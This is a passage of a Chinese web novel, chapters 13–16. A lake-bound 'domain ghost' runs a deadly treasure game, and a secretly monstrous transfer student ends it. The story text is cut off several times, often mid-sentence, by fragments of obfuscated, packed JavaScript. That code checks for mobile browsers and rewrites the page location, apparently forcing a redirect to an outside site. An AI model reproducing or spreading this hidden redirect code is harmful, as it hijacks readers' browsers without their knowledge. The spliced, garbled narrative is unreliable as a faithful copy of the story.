【在这片湖区之中,沉睡着一枚足以改变命运的至宝。谁能搜寻到它,并将它献上,谁就将成为胜者,活着离开这场游戏。】 【游戏期间,请务必遵守规则,否则,玩家将被淘汰。规则如下:】 【一、每位玩家仅拥有所属辖区的搜寻权限。有越界行为的玩家将被淘汰。】 【二、所有收集所得宝物,均可立即生效。其效应可能为正,亦可能为负,恕不退换。】 【三、玩家可通过击败他人继承其珍宝,也可自愿将珍宝使用权转移给他人。】 【四、当某辖区内玩家被全数击败,该辖区即转变为自由辖区,任何存活玩家均可进入并进行资源搜集。】 【五、每日破晓之前,若无玩家淘汰,全体玩家将随机失去一项感官。】 【游戏开始,祝你们好运!】 写满规则的光幕散去,只剩下被拖长的尾音,在众人脑海中回响。 拜在诡异世界的生存经历所赐,金祈安和时家尔直接略过了震惊的步骤,把域鬼宣布的五条规则清清楚楚地记了下来。 他们发现自己的异能在域里并没有受到限制,这多少给了他们一定底气。只是,这个域里的规则虽然简短,却并不友善。 表面上看,规则写着的都是寻宝,字字句句却在鼓动玩家们的内部斗争。 “不过,这些规则倒也有空子可钻,”金祈安说着,指向其中几个字眼,“按照域鬼的意思,胜利意味着存活,被淘汰则意味着死亡,但它的第三、第四条规则里,都只写了击败。只要我们摸清击败的判定,就可以在不伤害其它人的前提下,对湖区展开搜索,尽快找到脱离游戏的宝物。” “但是我们的速度要快,如果在下一次破晓前没有进展,整个游戏的难度都会大大提升。” 时家尔点了点头:“规则中也没有硬性规定,只能有一个人献上至宝。如果我们找到那个东西,然后和所有玩家一起把它交出,就可以无伤通关。” 他们的目标,是让所有人活着从域里离开,这是目前最理想的状况,实操起来,遇到的阻碍肯定更多。但无论如何,搜寻宝物,都是现在的重中之重。 只不过……时家尔正要动身,忽然意识到极为重要的一点。 “我们是异能者,所以现在才能冷静下来,分析局面,可是……其他人呢?” 在场的还有钓鱼社的人和普通垂钓者,普通人在面对突然其来的诡异事件时,还能保持冷静吗? 尤其是那些规则在不停教唆玩家互相攻击,普通人也可以捡到“宝物”,对自身属性进行强化。 时家尔想起域鬼降临前季礼的动作,惊呼道:“糟了!” 江秉烛和季礼在同一片区域里。 那家伙刚刚就要对江秉烛动手,现在岂不是更方便了! —— 一道光幕正好落在江秉烛与季礼之间,将他们分隔开来。 事情发生得突然,季礼根本没来得及收回手,掌骨上的皮肤立刻被灼烧得一片焦黑,让他痛得撕心裂肺。 域鬼的广播在每个人的脑海中生成,季礼无心注意细节,伤口疼得越厉害,心里就越愤恨。 ——为什么偏偏是他!为什么偏偏是他这么倒霉! 如果不是那个转学生突然说一些奇怪的话,他也不至于因为一时的冲动和不幸,落到现在的下场。 对了,转学生! 季礼咬牙切齿地想着,却看见江秉烛忽然站起身。 在如此突如其来的巨变下,江秉烛的脸上竟然没有一点意外,反倒有种预料之中的平静,甚至像在等着这一刻似的。 他沉沉地望着湖水,那双黑白分明的瞳孔中,隐隐泛上一丝红色。 下一刻,他向季礼所在的方向走来。 季礼被这个动作一惊,从江秉烛刚刚那不太寻常的眼神中回过神来。 ——这疯子要干什么?他要穿过光幕找死? 刚才季礼因为那东西痛得差点昏过去,游戏的广播也强调了这一点,竟然还有人敢明目张胆的违规? 季礼想着,却不由自主地幸灾乐祸起来。 这可是让他受伤的罪魁祸首,活该。 凭什么只有他一个人受罪! 可他的念头只维持了短短几秒,就被眼前的景象震惊得说不出话。 ——江秉烛抬腿,轻而易举地迈过了隔绝两片区域的光幕。 毫发无伤。 那道能量极高,把一切都拦腰斩断的光幕在他面前就像纸糊的、不,甚至还不如纸糊的,光幕根本挡不住他一点! 可是,他怎么能做到的? 联想到之前那两句语焉不详的话,季礼的心猛地一沉,不可置信地盯着那个少年。 那人却仍在缓步逼近,神情平静,眼瞳里透着诡异的殷红。他扫过季礼,就仿佛……在看一个无关紧要的、拦路的物件。 一瞬间,季礼已经满身都是冷汗。 他顾不得伤口剧痛,手脚并用地往后退去,嘴里惊惧地喊着:“你、你别过来!别过来啊!我要是有什么三长两短,我家里不会放过你的!” 江秉烛:“……” 他没管一直在大呼小叫的家伙,找准时机,从面前的湖水中,捞出了一尾鱼。 不大,是湖区很常见的鲫鱼,不过这也够了。 江秉烛心安理得地把鱼扔进鱼篮,对自己终于+1的战绩十分满意。 只要有鱼,就不算空军,谁管怎么钓上来的呢? 他心满意足,开始收拾起自己的钓鱼套装。 鉴于“目击证人”已经回来,他雄心壮志的钓回金鱼的计划宣布破产,他这个钓鱼佬上岗没有一个小时,就这样光荣卸任了。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575311|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过钓鱼很有意思,还可以下次再来,江秉烛伸了个懒腰。 对于宝物本身,他没有什么兴趣。但鉴于他的鱼今早刚经过这片水域,他合理怀疑自己的鱼会被这只域鬼当成藏品之一。 他的金鱼那么好看,会被收藏起来,也是鬼之常情。如果没有,那这只域鬼实在是没有任何审美的家伙。 总之,江秉烛决定在附近找找看看。 不得不说,这个寻宝游戏,域鬼设计得花样还挺多,江秉烛扫过四周,有一搭没一搭地进行点评。 比如这个珍宝“金苹果”,虽然能短时间内让人的魅力大幅增加,但没有写明的是,在长时间佩戴后,金苹果会让周围人持续掉san,进而做出不可控的行为。 还有“Excalibur”,本身就是把削铁如泥的宝剑,同时对持有者还有很高的属性加成,是一把每个人看见了都会疯狂抢夺的神兵。但是,在剑的主人血量低于百分之五十后,这把剑会自动回到湖中,无疑会为战局带来新的变化。 那些对持有者不利的,都是隐藏属性,需要额外探索才能发现。可是刚刚被拉入游戏的玩家都处在慌乱中,很少有人可以注意到这些。 规则类的诡异生物一般都是这种路子,所有看起来是馈赠的,最终都是陷阱。而那些看起来就在坑人的,能把人坑得更惨。 表面花样百出,实际上是一样的套路,没什么新意。 江秉烛一边评价,一边狠狠拉踩,还是他的金鱼好,每天都能给他带来不同的惊喜。 他对自己的鱼十足怀念,可是在这片区域找了一圈,也没见到它们的影子。 可能是这附近太吵了吧。 江秉烛叹了口气,拨开身侧的灌木丛,往前走了一段距离。 稍微空旷一点的空地上,一名金发学生正在和十几个人缠斗。 看见那个显眼的发色,江秉烛目光微微一顿,然后才若无其事地将注意力移到战局上。 各种颜色的光影不断闪动,混乱的能量波动里,来自各个玩家的喊杀声不绝于耳。 一点金光穿插在令人眼花缭乱的攻击里,在消弭掉致命攻击的同时,将那些疯狂的玩家们一点点逼远。 金祈安通过“点石成金”操控着附近的落叶作为武器,汗水顺着脖子一点点滑入衣襟。 对这个域内的规则进行分析后,金祈安和时家尔兵分两路,要赶在被不幸卷入域中的玩家做出不可挽回的事前,先将他们打晕,然后再寻找通关需要的东西。 金祈安运气不错,找到了可以跨区域行动的珍宝,并在时家尔的强烈要求下,先朝转学生所在的方向行动。 想想江秉烛的体格和处境,一看就是游戏降临后最容易遭殃的人。 在“保护所有人”的目标之前,金祈安觉得这么行动合情合理,便赶了过来。 可还没等他找到转学生,就先被一群失去了理智、陷入疯狂的玩家开始围攻。里面既有钓鱼社的学生,也有一开始并没受到影响,相当与世无争的迫真钓鱼佬。 以他的异能,就算面对围攻也不是什么难事。然而,他现在面对的,是在这片域中,有“珍宝”加成的人,每一个人的实力都相当于一个中级异能者。 他们似乎受到了来自“珍宝”的负面影响,理智在渐渐消退,攻击越发疯狂。但与此同时,金祈安却并不能像他们一样无所顾忌。 他的目标只是将他们击倒,然后,让所有人活着出去。 这是比与诡异生物正面对抗更煎熬的事情。 他击倒了一些玩家,但很快又有新的玩家加入战局。战斗陷入僵局,进退两难之间,金祈安的异能与精力都被急剧地消耗着。 就在此时,他忽然感觉前方的攻击压力小了许多。 可还没等他松一口气,就见那些san值失常的玩家全部调转了方向,一边喊着些什么,一边蜂拥朝着灌木丛的另一侧扑去。 金祈安循声望去,眼皮顿时跳了一下。 ——那片灌木后,站着一个清俊的少年。 他的黑色长发垂于肩后,一手拎着钓具,同一侧单肩背着书包。 和其它玩家不同,他的脸上并没有那种不受控的疯狂,眼神明澈,既不含惊慌,也没有敌意。 平静得像是个误入此地的路人。 14.第 14 章 江秉烛?! 在看清来人后,金祈安并没有第一时间动作。他脑海里最先浮现的,是疑问。 和受到过神殿庇护的时家兄弟不同,金祈安在诡异世界时,是在雇佣兵工会接任务为生的。 工会里鱼龙混杂,谈不上什么兄弟情、战友谊。今晚还和你把酒言欢,一醉方休的好朋友,明天就能笑着把刀捅进你的胸膛。想要在这样的地方活下去,除了足够警惕,还需要十足的戒心,对陌生人、对同伴,甚至是对自己的判断。 因此,哪怕江秉烛是一个没有异能的转学生,金祈安看到他时的第一想法仍是:为什么那些玩家会朝他扑过去? san值清零的玩家在身上携带的“珍宝”驱使之下,只剩下了彼此攻击、抢夺“珍宝”的本能,却并没有表现出特别的倾向。 他们在顷刻间集中了目标,只能说明一件事:江秉烛身上,有他们想要的东西。 而在这个游戏里,能让玩家在失去理智后的趋之若鹜的,只有域鬼在规则里所提到的那个“至宝”。 那个东西在江秉烛手里?其它“珍宝”都各自带着buff,给玩家们带来了各种各样的能力,那这个游戏里最重要的“至宝”呢?会不会更厉害,对人的精神影响,又会达到什么程度? 金祈安心念电转,他没有贸然出手,而是观察着前方的动向。 令他没想到的是,面对转瞬而至的攻击,江秉烛竟然真的没有反应! 这家伙甚至还打了个哈欠,一副很困的样子,似乎眼睛都睁不太开。 是太过警惕,还是…… 金祈安还想继续分析,却根本没时间了。 冲在最前面的玩家手持一把光剑,再迟一秒,高能量的激光束就能把江秉烛捅个对穿。 “铛——”的一声。 地上的碎石子冲天而起,精准地挡住光剑剑锋。 与此同时,金祈安一跃而起!他一只手拽住江秉烛,将人护到身后。几乎是同一时间,他另一只手抬起,干脆利落地从江秉烛手中夺过钓具,手腕使劲,把沉甸甸的鱼竿掷了出去! 鱼竿上附着“点石成金”的异能效果,想到划破天穹的金星,精准地砸向那群玩家,将原本要扑上来的疯子们生生逼退了一步。 “借你武器用一下,”金祈安头也没回,动作潇洒又利落。换了谁在场,都会觉得,这简直是从少年漫里走出来的男主角。 江秉烛:“……” 有没有可能,那不叫借,叫扔。 “情况紧急,你就别再看那鱼竿了,”金祈安却一刻也不敢停,抓住这个空档,立刻拉上江秉烛往前跑,“等少爷回家,准赔你个更好的!” “跑快点,不然咱俩都得完蛋!” 他们身后,掉光了San值的玩家像野怪一样穷追不舍。金祈安一个人时,应对他们没有问题,但要保护转学生,就不那么得心应手了。 他将路边一切能用的东西都变成武器,尽力阻挡着追兵。 一路上,金祈安都观察着江秉烛,试图找出他手握“至宝”的证据。 可除了过分平静一些,江秉烛的表现,完全是一个彻头彻尾的普通人。 体能普通、反应速度普通,刚刚那把光剑刺向他时,高能量的光束在甚至燎到了他的外套——如果自己出手再晚一点,江秉烛是真的会死的。 世界上没有任何一个人假装普通,能装到这种不要命的份上。 可是,如果江秉烛真的如此平凡,为什么会被一群野怪、啊不,玩家追呢? 总不能是因为人家长得格外好看吧! 金祈安百思不得其解。 但无论如何,一味逃亡不是办法。疯狂的玩家越来越多,他的力量迟早有耗尽的一刻。金祈安眼观六路,终于在异能见底前,找到了一个被草丛与树根半掩着的地洞,带着江秉烛躲了进去。 追兵跑了过去,脚步声渐渐远去,金祈安终于找到了片刻喘息的机会。 他靠着地洞的一侧,姿势稍微放松下来,头却跟着一阵一阵地疼,只能把头使劲往身后的土墙上靠,试图通过降温让疼痛缓解一些。 和玩家们的对抗,消耗的不仅仅是异能,更是他的心力。 幸好有这个地洞啊,金祈安感慨着,又不禁想,如果这里有酒就好了。 他在诡异大陆当雇佣兵的时候,每次出任务累了,只要喝上一小口,就感觉整个人都活过来了。 可是这里,怎么会…… 等等! 冰凉的触感从手边传来,金祈安猛地转过头,看向自己的右侧。 他下意识扭头。 ——那里,赫然躺着一瓶半埋在土里的白兰地。 金祈安愣住了,他慢慢地将它从泥土中挖出来。 那瓶酒甚至还没有开封,可他似乎已经能闻见,醇厚的酒香从水晶瓶中逸散出来,只要一点点,就能消去他的所有疲乏。 金祈安的喉结上下滑动了一下。 他已经没有余力去想这瓶酒从哪来,为什么会出现在这里——一瓶美酒而已,他辛苦了那么久,小小的心愿得到满足,也是理所当然的吧! 这是他的东西了,谁也不能夺走。谁也不能质疑。 他不需要解释。 金祈安小心翼翼地将酒瓶抱入怀中,手指紧紧贴着瓶身,像是捧着某种沉睡的圣物。 这是他的救赎、他的嘉奖。属于他,只属于他。 他不会分享。 他不能分享。 他绝不允许任何人染指。 这是我的,金祈安想。 我的我的我的我的我的我的我的我的我的我的我的我的我的我的我的我的我的我的我的! ……我的至宝。 可是,这里除了他,还有另一个人在。 金祈安很慢很慢地抬眼,目光无声地落在江秉烛的身上。 少年正对着他而坐,一双漂亮的、黑白分明的眼睛望着前方,像是和往常一样在发呆,也像是……在悄悄地觊觎着他的酒。 愤怒,与一股莫名的杀意在这一刻达到顶峰。 金祈安的掌心悄然凝聚起一抹金光,异样的光芒隔着水晶瓶身,将酒液映出一种浓郁而华美的金色。 “江秉烛,”他的声音比以往低沉,语速也慢了下来,带着明显的不满,“你在看我的酒吗?” 地上的碎石子以微弱的幅度震动着,一旦对方做出任何肯定的回答,小石子就会在瞬间变成锋锐的利刃,击穿对方的身体。 江秉烛闻言,打量了金祈安几眼,然后意兴阑珊地收回目光:“恭喜你,也找到自己的至宝了。” 他有些忧愁地想,连游戏里的人类玩家都找到了想要的东西,自己的鱼,怎么还下落不明呢。 他说得轻描淡写,金祈安一片混沌的头脑却本能地捕捉到了什么:“你说的‘也’,是什么意思!” 江秉烛:“……” 这还要解释吗? 希望自己魅力爆棚的玩家得到了“金苹果”,沉迷于亚瑟王传说的玩家得到了王者之剑“Excalibur”,想要休息的金祈安获得了安全的地洞,还有心心念念的白兰地。 他们都各自得到了自己的至宝,用“也”来表示,不是很正常吗。 江秉烛觉得自己的人类语言掌握得没有问题。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588587|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 金祈安却在短短几秒钟内脸色剧变。 他想起自己刚刚的表现,自己对酒所说的一句句至宝,还有险些向江秉烛而去的异能攻击…… 他到底在干什么! “咣当”一声,水晶瓶从他手中脱落。 那瓶酒对他致命的吸引力仍然存在,金祈安只能硬生生逼着自己,不要回头去看。 他被污染了! 这个域的规则,根本没有看起来那么简单。 域鬼让玩家寻找这片区域里的宝贝,可从来没有给出过任何至宝相关的提示。 因为那本来就不是固定的东西,而是所有人心中最强的渴望! 玩家们会在游戏里捡到自己最想要的东西,然后越是接触,便越被激发出占有欲。然后……对于“至宝”的强烈的欲望会驱使他们失去理智,直到开始自相残杀。 金祈安自以为足够理智、足够小心,可他还是没有躲过。 污染是什么时候开始的? 是在他进入这个地洞躲避的时候?和其它玩家对战的时候?还是从更早一些,他捡到那个能够让他穿过光幕,跨区寻找江秉烛的时候? 金祈安越想,越感受到一种迟来的恐惧。 但他立刻又意识到新的问题。 域鬼的规则可以玩文字游戏,却不能作假。既然它提到了献上“至宝”,那么这片湖区里,就一定有一个它迫切想要得到的东西。 诡异生物不是人类,对金银财宝、魔法传说不感兴趣。能被它们放在第一位的,除了生存,也就是变强了。 可域鬼靠规则之力活着,是当前版本T0级别的诡异生物。相对的,提升实力也更艰难。 这只五级的域鬼已经很难得,再找与规则之力相关的诡异生物,金祈安只能想到京城的那位神选者“玉石山主”。 可是,它在一周之前,就已经死在那个神秘如谜的“希格尔德”手里了。 那么…… 金祈安觉得自己抓住了一条线,想顺着它进行思考。 可不知是不是触及了不能了解的密辛,他的思绪在迟缓,身上的污染变得越发严重。 那瓶白兰地酒明明已经被他扔远,对他的吸引力却越来越强。 ……多好的酒啊。 这应该是只属于他的东西才对。 他该杀了所有人——为什么不呢?他可是个真正的异能者! 不、不行! 金祈安猛地掐了自己一把,却并未获得太多清醒的时间。 他的面部表情因此变得极为扭曲,一半是痛苦与挣扎,而另一半脸上,写满了杀意与癫狂。 他一边伸手,去够自己的酒瓶,一边对着江秉烛,艰难地从牙缝里挤出几个字。 “快、跑……我……” 话音未落,金祈安后脑忽然传来一阵剧痛。 他失去意识,不再和疯狂对抗,身体软绵绵地向前倒去。 在他身后,黑发少年面无表情地,放下手里的东西。 那是一方手掌大小的碧玉砚台,花纹如同一面纵横交错的棋盘,上面精心雕刻了一局无解的珍珑棋局。 随着砚台的出现,维斯特湖原本平静的湖水剧烈地震荡起来。所有被操控的玩家同时停下动作。隐秘的空间中,诡异的存在投来阴狠的注视。 江秉烛恹恹地把玩着那方砚台,动作随意,透着一种疏懒。 “既然选择了游戏,就要玩得认真。” 可随着他的话音,一池激荡翻腾的湖水在顷刻间静止了,像被某种无形的力量钉死在这片空间之中。 “我的‘至宝’在哪里,你不给我展示一下吗?” 15.第 15 章 湖畔静悄悄的,没有任何回应。 那道来自高空的注视几乎在江秉烛开口的一刻就慌乱地转开了,它不敢再多看那方来自神选者“玉石山主”的复生信物一眼,甚至连正在进行的游戏都完全抛在身后,不管不顾地想要离开这里。 域鬼放弃了自己的实体,以最快的速度向远处逃逸,甩开维斯特湖、甩开整座第二城。 但下一秒,它竟然又回到了原点! 回到了……那个黑发少年的身前。 这人明明是个再普通不过的人类,在整场游戏里毫不起眼,根本没有引来域鬼的一丝关注。 然而此时此刻,眼前人类少年的身体里,翻涌着一种令它极度恐惧的、比这个世界更为古老的气息。 它蛰伏在那副人类的皮囊之下,如同深渊中的巨兽,慢慢露出了獠牙。 —— 湖区另一侧。 时家尔按照原定的计划,与陷入疯狂的玩家们缠斗在一起。 然而他的异能“噬梦”是精神系攻击,对这些san值本就清零的玩家使用时,效果要打个折扣。 为了让计划顺利进行,他不得不在战斗的间隙捡起一些被击败玩家掉落的“珍宝”,通过它们强化自己的攻击。好在有一些和他的异能非常适配,使得他的战斗压力减轻了不少。 可是随着时间的流逝,他心里的烦躁却在逐渐累积。 凭借他异能者的实力,和现在手里的“珍宝”,其实早就应该解决这场战斗了。 但现在呢? 他不得不一遍遍控制异能的强度,在对方疯狂的围攻下,还要确保不对玩家造成太大影响。重重掣肘,让他消耗了大量精力,去击晕那些明明可以直接清除的目标。 突然,在众多玩家的攻击中,一枚子弹穿过了他的防御。 时家尔险之又险地躲了过去,可那枚子弹擦过脸颊,仍然留下了一道狭长的血痕。 几秒之后,伤口传来的灼痛撕碎了他仅存的冷静。 某一个声音,似乎在他耳畔轻轻响起。 为什么要克制自己? 这只是个游戏而已。 只要干掉眼前这些人,拿到“至宝”,他就可以出去了。 对于他来说,这其实并不难做到……不是吗? 时家尔眉眼间浮现出一丝与玩家们相似的扭曲神情,指尖的异能骤然翻涌。 干脆,把他们全部…… 下一秒。 所有玩家的动作,忽然停下了,连同时家尔在内,全部动弹不得。 不,不止是玩家。 风停了,水也停了。那些被战斗卷起的尘埃悬浮在半空,却再也落不下来。 整个区域的时间和空间,都从这一刻起开始静止。 一道道将湖区划分成独立区域的光幕以极高的频率疯狂地闪动起来,密密麻麻的文字抽搐着出现在光幕之上,仿佛在拼劲全力抵抗着从天外而来的力量。 时家尔甚至不知道,那过于微弱的反应是否能被称为抵抗。 紧接着,他的视野被极强的光亮淹没。 时家尔还睁着眼睛,可他怀疑自己在强光刺激下失去了视觉,以至于整个视野里,只剩下漆黑的一片。 然而,他很快就知道自己错了。 因为在那片无边无际的黑暗里,他看见了。 ——那是隐没在黑暗中,只要多看一眼就会让人扭曲、崩溃的庞然大物,和一条条自黑暗的深处无声蔓延的触手。 那些触手上像是眼睛的地方,在眨动间化作深渊般的裂隙;有些地方像是嘴巴,在一开一合间,闪耀着恒星般的永恒光辉。 具象化的疯狂从天而降,世界的维度在升高,而时家尔发觉自己在变得越发渺小,变成了一个没有厚度的面、一条线、一个点…… 然后,他听见了一声失望的叹息。 那是个很年轻的、人类的声音。 “啪”的一声轻响,像是有什么东西碎掉一样。 时家尔仿佛重拾了自己的维度,他再次获得了思考的能力。 风自西向东吹来,灰尘自半空缓缓落下,那些绚烂的异能攻击在空中飞舞着,拖出华丽的尾迹,然后无声无息地消失了。 时间重新开始流淌。 而那些不可逾越的光幕,像是被打碎的玻璃,一片一片碎掉,化作一缕缕青烟,随之消失在他的视野中。 时家尔保持着原先的姿势,微微抬起手掌,仿佛那里仍然有他预谋着的,要向普通人发动的致命一击。 他呆立了半晌,终于意识到发生了什么,接连向后退了几步,心中充满了后怕。 他被域鬼污染了,在那个影响下,差点对普通人动手! 但在千钧一发的时刻,那只诡计多端的域鬼死了,死在一种极为恐怖的力量之下。 明明这件事刚过去不久,可时家尔却想不起任何细节,就好像是大脑出于自我保护机制,主动让他遗忘那些可怕的、濒死的记忆。 而其它玩家站在他身边,远远没从刚才的冲击中缓过来。 域鬼死了,他们失去了“珍宝”的力量, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594608|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新成为了普通人,在恢复能力上,是比不上异能者的。 这时,时家尔猛地想起了什么,飞奔向江秉烛和金祈安所在的区域。 湖区很大,他提心吊胆地跑过一地激烈战斗的痕迹,看到了另一群愣住的玩家,又找到了昏迷的金祈安。最后,终于在湖边的一颗柳树下,看见了江秉烛的身影。 湖边,江秉烛靠着柳树站着,仍然单肩背着书包,只是鱼竿不知去了哪里,手里有一搭没一搭地揪着柳树垂下的叶子。 秋风拂起有些褪色的柳枝,也拂动少年的长发,他望着湖面,好像在出神,背影在夕阳下,莫名显得有些萧瑟。 时家尔皱起眉。 其它被拉入域中的普通人都受到了强烈的影响,江秉烛却能自由活动,神智看起来,竟然也相当清醒。 要知道,在域鬼的寻宝游戏中,所有人都会受到心中强烈渴望的驱使,因而受到污染,在域鬼的操纵下开始自相残杀。 就连时家尔自己,都因为太不想继续那场束手束脚的战斗,而被勾起了心中的杀意。 那江秉烛呢?他总不能是因为无欲无求,所以才从这场游戏中幸免于难吧? 但这不可能,别说人了,就连诡异生物都有欲望。 时家尔想着,没有贸然上前。他故技重施,朝江秉烛那边放出一个“灵瞳”。 然后,他看见转学生愤愤揪掉了一片柳树的叶子,像是难以忍受一样,小声嘟囔着。 “太菜了。” 时家尔:“?” 转学生在域里到底看见了什么东西?难道是自己想错了,江秉烛并不是没受域鬼影响,而是因为受到了太大刺激,导致现在状态都有点失常了? 江秉烛早就发现了时家尔一会儿焦急,一会儿又鬼鬼祟祟的动向,此刻却压根儿没心情去管。 是,域鬼在跟他交流了两句之后就挂了,可能是他的问题。 但他及时地通过措施,从域鬼突然炸掉的身体里,收集到了有用的信息。 ——他找鱼的思路没有错,他的金鱼在今天早上,确确实实经过了维斯特湖畔。那只域鬼沉迷于他金鱼的美丽,试图将它们据为己有,变成它收藏的一部分。 回忆到这里,江秉烛深吸了一口气。 可他怎么也想不到,域鬼被他的金鱼暴打了一顿,又眼睁睁地看着它们顺水游走了。 “……” 江秉烛沉默了很久,努力接受了一个事实:那域鬼可能确实是条菜狗。 可是连几条鱼都打不过,这也太菜了吧! 16.第 16 章 找鱼大业遇到瓶颈,江秉烛有点郁闷。 他随便敷衍了两句脸色奇怪,不知道脑回路又歪到了什么地方的时家尔,自己沿着湖畔漫无目的地溜达。 无论如何,菜狗域鬼提供的信息,至少说明了一件事——他的金鱼终于想到办法,在这个位面使用诡气了。 算算时间,它们这会应该已经跑到了足够远的地方,好好地藏起来了。 那也就意味着,想要找到它们,需要用花费更多的精力。 这个过程开始让他感到无聊。 江秉烛不算很有耐心的人,但在深渊待久了太无所事事,有鱼可养的日子多少弥补了这一点,让他对自己的鱼也额外多出了一些宽容。 不过也只有一点。 江秉烛指尖握着那一片柳叶随手折下的柳叶,下一秒,那片叶子悄无声息地消失在了世界上。 第二城的天,蓦地阴沉下来。 时家尔一边在湖畔清点伤员,一边联系着第二城负责处理诡异事件的中枢局,看着远空一片灰霾的天色,心头没来由地跳了两下。 总觉得,有什么不好的事情要发生。 江秉烛仍在思索,在强行动用权柄后,他该以什么样的形式带回自己的鱼。 亡灵鱼、僵尸鱼,或者是降维的纸片鱼……可供选择的形式多种多样,只不过,每一种之间倒也没有太大分别。 就算是矬子里拔将军,这也有些太难以抉择了。 正想着,灰蒙蒙的四野,忽然走来一个年轻的金发男人。 江秉烛眼神冷了下来,唇线折出一个微妙的弧度。 他之前就察觉到了周夜阑的存在,可在看见这家伙显眼的发色时,依然生出了一种烦躁。 他天然的对这种金灿灿的家伙没什么好感。 周夜阑不疾不徐地走到江秉烛面前,很绅士地打了个招呼:“好巧,又见面了。” 巧合? 江秉烛眼神晦暗不明,他没理会这人的瞎话,直白地问:“你来做什么?” “垂钓,”周夜阑笑着说,“今天的天气很适合钓鱼,不是吗?” 他穿了身一尘不染的白色亚麻套装,衬得整个人利落而挺拔,那双碧绿如翡翠的桃花眼中,浅浅地噙着一丝笑意。 这身打扮,不像是来钓鱼的,倒像是在看温网。 江秉烛“嗯”了一声。 他显然没被如此敷衍的借口说服,但也没有戳穿,而是微微眯起眼睛。他将意志投射在这个位面,人类形态的各项数据直接复制了原主的,虽然在几次复制他人力量时,容貌发生了些细微的变化,更贴合自己原本的形态,但整体而言,给人的第一印象依旧是清秀而无害的。 只是此刻,少年的脸上却展露出一种浓烈的侵略性来。 连带五官,都仿佛在同一时间变得更为深邃,充斥着一种令人不敢直视的、凌厉的美感。 他打量着周夜阑,缓缓地说:“看起来,你比那只自作聪明的域鬼,更知道我想要什么。” “啊,那只域鬼,”周夜阑轻轻笑了一声,“连几条小鱼都打不过,我们还是不要提起它,浪费时间了。” 他说着,重复了那个雨夜的动作,再次向江秉烛伸出手:“为什么不让我来,帮你找回你失落的珍宝呢?” 这一次,江秉烛却没有转身离开,而是直视着那双笑意盈盈、带着蛊惑意味的眼睛。 这个自称“周夜阑”的存在,有一种很奇怪的气息,既不属于诡异生物,也和人类的有所不同。江秉烛对他到底是什么东西,没有很强烈的探索欲望,他对大部分生物的态度都是这样——拥有再高贵的血脉,死掉之后也只是一具尸体而已。 能杀掉就好了,没必要弄清它们到底来自哪个种族,又有什么故事。 他对周夜阑有些在意,主要是因为这人的力量很特殊。 深渊实在无事可做,养鱼的间隙,江秉烛也会去其它位面给自己找点乐子。在一众他关注过的存在中,周夜阑是最有趣的。 而且他的气息……还有种莫名的熟悉。 “你来帮我?”江秉烛一挑眉梢,“让你凭借找鱼的名义,观察我的行为,分析我的力量。如果判断我是个可以动手的目标,就等合适的时机动手,把它据为己有。” “周先生,你可不是一个友善的合作者。” 周夜阑并没有意外,就是有些可惜。除了刚刚被戳穿的意图外,他还有一点未曾言明、自己都不太清楚的私心。 但他既没有对力量迫切的追求,也不认为那一点点私心重要到必须满足。 那么…… 他正要收回手,掌心的肌肤忽然传来一点冰凉的温度。 江秉烛握住了他的手,看着他,唇角扬起一个漂亮的弧度。 “那么,找鱼的事情就交给你了,周先生,”江秉烛说,“希望你的速度快一点,我并没有那么多耐心。” 周夜阑怔了片刻,随即露出一个无懈可击的笑:“当然,合作愉快。” “合作愉快。”江秉烛轻声重复着,忽然想起来圣雅各医院地底,那朵大花的临终遗言。 “篡夺者”、“弑神者”……挺贴切的形容。 周夜阑不是什么好的合作人选,恰巧,他也不是。 让这家伙代替自己,去找回那些溜走的鱼。而他,也可以等待合适的时机,夺取对方的力量。 是个有趣的选择。 两人的手掌在空中交握,各自脸上,都带着不达眼底的笑意。 周夜阑说:“你晚上要回学校?我送你吧。” 鱼都跑了,没必要在这里继续待着,江秉烛没有异议,但是看着眼前这家伙那张装得十分正人君子的脸,还是没有忍住。 “周先生,”他道,“有没有人和你说过,你装好人的时候,演技真的很烂。” 这话出口,不止周夜阑,连他自己也有片刻怔忪。 好像同样的话,在什么时候说过一样。 —— 维斯特湖上空的阴云来得突然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 